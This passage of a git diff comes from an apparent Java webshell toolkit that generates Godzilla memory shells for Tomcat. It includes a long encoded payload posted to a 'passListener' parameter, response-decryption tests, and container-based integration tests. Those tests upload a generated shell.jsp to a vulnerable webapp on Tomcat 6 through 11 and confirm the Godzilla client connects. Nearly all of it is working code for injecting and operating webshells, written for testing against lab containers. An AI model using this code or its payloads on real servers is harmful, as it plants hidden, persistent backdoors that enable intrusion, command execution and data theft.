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"; + String payload2 = "SYGfcuiYbi7orKV6O6xxE77ApCE8aEKQclInFmKYDIBrZ80FXGDUJZ/i7R315dBW"; + String payload3 = "SYGfcuiYbi7orKV6O6xxE2RnMm8eIPtMtwbnL//RAOnyqSGAgLWwv+Qqb86VfmtX"; + Map headers = new HashMap<>(); + headers.put("User-Agent", "test"); + headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"); + + OkHttpClient okHttpClient = new OkHttpClient(); + RequestBody requestBody = new FormBody.Builder() + .add("passListener", payload1) + .build(); + Request request = new Request.Builder() + .url(url) + .post(requestBody) + .headers(Headers.of(headers)).build(); + try (Response response = okHttpClient.newCall(request).execute()) { + String setCookie = response.header("Set-Cookie"); + if (setCookie != null && setCookie.contains("JSESSIONID=")) { + headers.put("Cookie", setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"))); + } + } + requestBody = new FormBody.Builder() + .add("passListener", payload2) + .build(); + request = new Request.Builder() + .url(url) + .post(requestBody) + .headers(Headers.of(headers)).build(); + try (Response response = okHttpClient.newCall(request).execute()) { + System.out.println(response.body().string()); + } + } + + @Test + void getResultFromRes() { + String pass = "passListener"; + String key = "keyListener"; + String content = "4B9B4A9EEB3F82A0JI+OTF/UVBKxCa4uEyPHPpqkQMOAsWkQCl4zs9stYpE=6A5D643C57E87B54"; + Pair keyMd5 = GodzillaManager.getKeyMd5(key, pass); + String resultFromRes = GodzillaManager.getResultFromRes(content, keyMd5.getLeft(), keyMd5.getRight()); + assertEquals("ok", resultFromRes); + } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java index bc99a284..4120b514 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java @@ -2,10 +2,15 @@ package com.reajason.javaweb.memsell.tomcat.godzilla; import com.reajason.javaweb.memsell.GodzillaGenerator; import com.reajason.javaweb.util.ClassUtils; +import lombok.SneakyThrows; +import net.bytebuddy.jar.asm.Opcodes; import org.apache.commons.codec.binary.Base64; import org.junit.jupiter.api.Test; -import static org.junit.jupiter.api.Assertions.*; +import java.nio.file.Files; +import java.nio.file.Paths; + +import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason @@ -29,4 +34,19 @@ class GodzillaValveTest { assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); System.out.println(Base64.encodeBase64String(bytes)); } + + @Test + @SneakyThrows + void generateJakarta() { + String className = "org.apache.utils.CommonJakartaValve"; + byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Opcodes.V11, false); + Files.write(Paths.get(className + ".class"), bytes); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(className, obj.getClass().getName()); + assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); + assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); + assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); + assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); + System.out.println(Base64.encodeBase64String(bytes)); + } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/TomcatGodzillaIntegrationTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/TomcatGodzillaIntegrationTest.java deleted file mode 100644 index ef36d626..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/TomcatGodzillaIntegrationTest.java +++ /dev/null @@ -1,113 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.godzilla; - -import com.reajason.javaweb.GeneratorMain; -import com.reajason.javaweb.config.GenerateResult; -import com.reajason.javaweb.config.GodzillaShellConfig; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.godzilla.GodzillaManager; -import com.reajason.javaweb.memsell.packer.JspPacker; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; -import lombok.SneakyThrows; -import okhttp3.*; -import org.junit.jupiter.api.DynamicTest; -import org.junit.jupiter.api.TestFactory; -import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.utility.MountableFile; - -import java.io.IOException; -import java.nio.file.Path; -import java.nio.file.Paths; -import java.util.stream.Stream; - -import static org.junit.jupiter.api.Assertions.assertEquals; -import static org.junit.jupiter.api.Assertions.assertTrue; - -/** - * @author ReaJason - * @since 2024/11/26 - */ -public class TomcatGodzillaIntegrationTest { - OkHttpClient client = new OkHttpClient(); - - @TestFactory - Stream testContainerDeployments() { - return Stream.of( - createCustomContainerTest("tomcat:8-jre8"), - createCustomContainerTest("tomcat:9-jre8") - ); - } - - @SuppressWarnings("all") - private DynamicTest createCustomContainerTest(String imageName) { - Path warPath = Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath(); - return DynamicTest.dynamicTest("Test " + imageName, () -> { - try (GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(MountableFile.forHostPath(warPath), "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080)) { - container.start(); - String host = container.getHost(); - int port = container.getMappedPort(8080); - String url = "http://" + host + ":" + port + "/app"; - GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() - .pass("pass123").key("key123") - .headerName("User-Agent").headerValue("hello_integration_test") - .build(); - String jspContent = generateGodzillaFilterJsp(shellConfig); - String filename = "shell.jsp"; - uploadJspFileToServer(url + "/upload", filename, jspContent); - verifyContainerResponse(url + "/" + filename); - - testGodzillaIsOk(url + "/" + filename, shellConfig); - } - }); - } - - private String generateGodzillaFilterJsp(GodzillaShellConfig config) { - Server server = Server.TOMCAT; - ShellTool shellTool = ShellTool.Godzilla; - String shellType = TomcatShell.FILTER; - GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config); - JspPacker jspPacker = new JspPacker(); - return new String(jspPacker.pack(generateResult)); - } - - private void verifyContainerResponse(String url) throws IOException { - Request request = new Request.Builder() - .url(url).build(); - try (Response response = client.newCall(request).execute()) { - assertEquals(200, response.code()); - } - } - - - @SneakyThrows - private void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) { - RequestBody fileRequestBody = RequestBody.create(fileContent, MediaType.parse("text/plain")); - MultipartBody requestBody = new MultipartBody.Builder() - .setType(MultipartBody.FORM) - .addFormDataPart("file", filename, fileRequestBody) - .build(); - Request request = new Request.Builder() - .url(uploadUrl).post(requestBody) - .build(); - try (Response response = client.newCall(request).execute()) { - assertEquals(200, response.code()); - } - } - - private void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) { - try (GodzillaManager godzillaManager = GodzillaManager.builder() - .entrypoint(entrypoint) - .pass(shellConfig.getPass()) - .key(shellConfig.getKey()) - .header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) { - assertTrue(godzillaManager.start()); - assertTrue(godzillaManager.test()); - } catch (IOException e) { - e.printStackTrace(); - } - } -} diff --git a/integration-test/build.gradle b/integration-test/build.gradle new file mode 100644 index 00000000..3dffea58 --- /dev/null +++ b/integration-test/build.gradle @@ -0,0 +1,38 @@ +plugins { + id "java" + id "jacoco" + id "io.freefair.lombok" version "8.11" +} + +repositories { + mavenCentral() +} + +group = 'com.reajason.javaweb' +version = '' + +dependencies { + testImplementation project(":vul-webapp") + testImplementation project(':generator') + testImplementation 'com.squareup.okhttp3:okhttp:4.12.0' + testImplementation 'org.slf4j:slf4j-simple:2.0.16' + testImplementation 'net.bytebuddy:byte-buddy:1.15.1' + testImplementation 'org.testcontainers:testcontainers:1.20.4' + testImplementation 'org.testcontainers:junit-jupiter:1.20.4' + testImplementation platform('org.junit:junit-bom:5.11.3') + testImplementation 'org.junit.jupiter:junit-jupiter' +} + +tasks.withType(Test).tap { + configureEach { + testLogging { + events "passed", "skipped", "failed" + } + } +} + +test { + dependsOn ":vul-webapp:war", ":vul-webapp-jakarta:war" + useJUnitPlatform() + finalizedBy jacocoTestReport +} \ No newline at end of file diff --git a/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml b/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml new file mode 100644 index 00000000..53458ddf --- /dev/null +++ b/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml @@ -0,0 +1,10 @@ +services: + tomcat10111: + image: tomcat:10.1-jre11 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/tomcat/docker-compose-6.0.53-jre7.yaml b/integration-test/docker-compose/tomcat/docker-compose-6.0.53-jre7.yaml new file mode 100644 index 00000000..2e0def39 --- /dev/null +++ b/integration-test/docker-compose/tomcat/docker-compose-6.0.53-jre7.yaml @@ -0,0 +1,10 @@ +services: + tomcat6063: + image: tomcat:6.0.53-jre7 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/annotation/ImageName.java b/integration-test/src/test/java/annotation/ImageName.java new file mode 100644 index 00000000..bc27d968 --- /dev/null +++ b/integration-test/src/test/java/annotation/ImageName.java @@ -0,0 +1,16 @@ +package annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * @author ReaJason + * @since 2024/11/28 + */ +@Documented +@Retention(RetentionPolicy.RUNTIME) +public @interface ImageName { + + String value(); +} diff --git a/integration-test/src/test/java/godzilla/BaseGodzillaTest.java b/integration-test/src/test/java/godzilla/BaseGodzillaTest.java new file mode 100644 index 00000000..5136c6be --- /dev/null +++ b/integration-test/src/test/java/godzilla/BaseGodzillaTest.java @@ -0,0 +1,59 @@ +package godzilla; + +import com.reajason.javaweb.config.GodzillaShellConfig; +import com.reajason.javaweb.godzilla.GodzillaManager; +import lombok.SneakyThrows; +import okhttp3.*; +import org.junit.jupiter.api.Assertions; + +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author ReaJason + * @since 2024/11/28 + */ +public interface BaseGodzillaTest { + + OkHttpClient client = new OkHttpClient(); + + @SneakyThrows + default void verifyContainerResponse(String url) { + Request request = new Request.Builder() + .url(url).build(); + try (Response response = client.newCall(request).execute()) { + Assertions.assertEquals(200, response.code()); + } + } + + + @SneakyThrows + default void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) { + MediaType mediaType = MediaType.parse("text/plain"); + RequestBody fileRequestBody = RequestBody.create(fileContent, mediaType); + MultipartBody requestBody = new MultipartBody.Builder() + .setType(MultipartBody.FORM) + .addFormDataPart("file", filename, fileRequestBody) + .build(); + Request request = new Request.Builder() + .url(uploadUrl).post(requestBody) + .build(); + try (Response response = client.newCall(request).execute()) { + Assertions.assertEquals(200, response.code()); + } + } + + default void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) { + try (GodzillaManager godzillaManager = GodzillaManager.builder() + .entrypoint(entrypoint) + .pass(shellConfig.getPass()) + .key(shellConfig.getKey()) + .header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) { + assertTrue(godzillaManager.start()); + assertTrue(godzillaManager.test()); + } catch (IOException e) { + e.printStackTrace(); + } + } +} diff --git a/integration-test/src/test/java/tomcat/GodzillaTest.java b/integration-test/src/test/java/tomcat/GodzillaTest.java new file mode 100644 index 00000000..2f251e7b --- /dev/null +++ b/integration-test/src/test/java/tomcat/GodzillaTest.java @@ -0,0 +1,32 @@ +package tomcat; + +import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.config.GodzillaShellConfig; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.JspPacker; +import godzilla.BaseGodzillaTest; + +/** + * @author ReaJason + * @since 2024/11/28 + */ +public interface GodzillaTest extends BaseGodzillaTest { + + default String generateGodzillaJsp(GodzillaShellConfig config, String shellType) { + Server server = Server.TOMCAT; + ShellTool shellTool = ShellTool.Godzilla; + GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config); + JspPacker jspPacker = new JspPacker(); + return new String(jspPacker.pack(generateResult)); + } + + default String generateGodzillaJsp(GodzillaShellConfig config, String shellType, int targetJdkVersion) { + Server server = Server.TOMCAT; + ShellTool shellTool = ShellTool.Godzilla; + GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); + JspPacker jspPacker = new JspPacker(); + return new String(jspPacker.pack(generateResult)); + } +} diff --git a/integration-test/src/test/java/tomcat/TomcatGodzillaTest.java b/integration-test/src/test/java/tomcat/TomcatGodzillaTest.java new file mode 100644 index 00000000..9afea897 --- /dev/null +++ b/integration-test/src/test/java/tomcat/TomcatGodzillaTest.java @@ -0,0 +1,274 @@ +package tomcat; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.GodzillaShellConfig; +import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; +import org.testcontainers.utility.MountableFile; + +import java.nio.file.Paths; + +/** + * @author ReaJason + * @since 2024/11/28 + */ +@Testcontainers +@Slf4j +public class TomcatGodzillaTest implements GodzillaTest { + + public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath()); + public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath()); + + public static final String tomcat6ImageName = "tomcat:6.0.53-jre7"; + public static final String tomcat7ImageName = "tomcat:7.0.85-jre7"; + public static final String tomcat8ImageName = "tomcat:8-jre8"; + public static final String tomcat9ImageName = "tomcat:9-jre8"; + public static final String tomcat10ImageName = "tomcat:10.1-jre11"; + public static final String tomcat11ImageName = "tomcat:11.0-jre17"; + + @Nested + class Tomcat6Godzilla { + + @Container + public final GenericContainer tomcat6 = new GenericContainer<>(tomcat6ImageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + public String getUrl() { + String host = tomcat6.getHost(); + int port = tomcat6.getMappedPort(8080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @Test + void testGodzillaFilter() { + String shellType = TomcatShell.FILTER; + testGodzilla(getUrl(), tomcat6ImageName, shellType); + } + + @Test + void testGodzillaValve() { + String shellType = TomcatShell.VALVE; + testGodzilla(getUrl(), tomcat6ImageName, shellType); + } + + @Test + void testGodzillaListener() { + String shellType = TomcatShell.LISTENER; + testGodzilla(getUrl(), tomcat6ImageName, shellType); + } + } + + @Nested + class Tomcat7Godzilla { + + @Container + public final GenericContainer tomcat7 = new GenericContainer<>(tomcat7ImageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + public String getUrl() { + String host = tomcat7.getHost(); + int port = tomcat7.getMappedPort(8080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @Test + void testGodzillaFilter() { + String shellType = TomcatShell.FILTER; + testGodzilla(getUrl(), tomcat7ImageName, shellType); + } + + @Test + void testGodzillaValve() { + String shellType = TomcatShell.VALVE; + testGodzilla(getUrl(), tomcat7ImageName, shellType); + } + + @Test + void testGodzillaListener() { + String shellType = TomcatShell.LISTENER; + testGodzilla(getUrl(), tomcat7ImageName, shellType); + } + } + + @Nested + class Tomcat8Godzilla { + + @Container + public final GenericContainer tomcat8 = new GenericContainer<>(tomcat8ImageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + public String getUrl() { + String host = tomcat8.getHost(); + int port = tomcat8.getMappedPort(8080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @Test + void testGodzillaFilter() { + String shellType = TomcatShell.FILTER; + testGodzilla(getUrl(), tomcat8ImageName, shellType); + } + + @Test + void testGodzillaValve() { + String shellType = TomcatShell.VALVE; + testGodzilla(getUrl(), tomcat8ImageName, shellType); + } + + @Test + void testGodzillaListener() { + String shellType = TomcatShell.LISTENER; + testGodzilla(getUrl(), tomcat8ImageName, shellType); + } + } + + @Nested + class Tomcat9Godzilla { + + @Container + public final GenericContainer tomcat9 = new GenericContainer<>(tomcat9ImageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + public String getUrl() { + String host = tomcat9.getHost(); + int port = tomcat9.getMappedPort(8080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @Test + void testGodzillaFilter() { + String shellType = TomcatShell.FILTER; + testGodzilla(getUrl(), tomcat9ImageName, shellType); + } + + @Test + void testGodzillaValve() { + String shellType = TomcatShell.VALVE; + testGodzilla(getUrl(), tomcat9ImageName, shellType); + } + + @Test + void testGodzillaListener() { + String shellType = TomcatShell.LISTENER; + testGodzilla(getUrl(), tomcat9ImageName, shellType); + } + } + + @Nested + class Tomcat10Godzilla { + + @Container + public final GenericContainer tomcat10 = new GenericContainer<>(tomcat10ImageName) + .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + public String getUrl() { + String host = tomcat10.getHost(); + int port = tomcat10.getMappedPort(8080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @Test + void testGodzillaFilter() { + String shellType = TomcatShell.JAKARTA_FILTER; + testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11); + } + + @Test + void 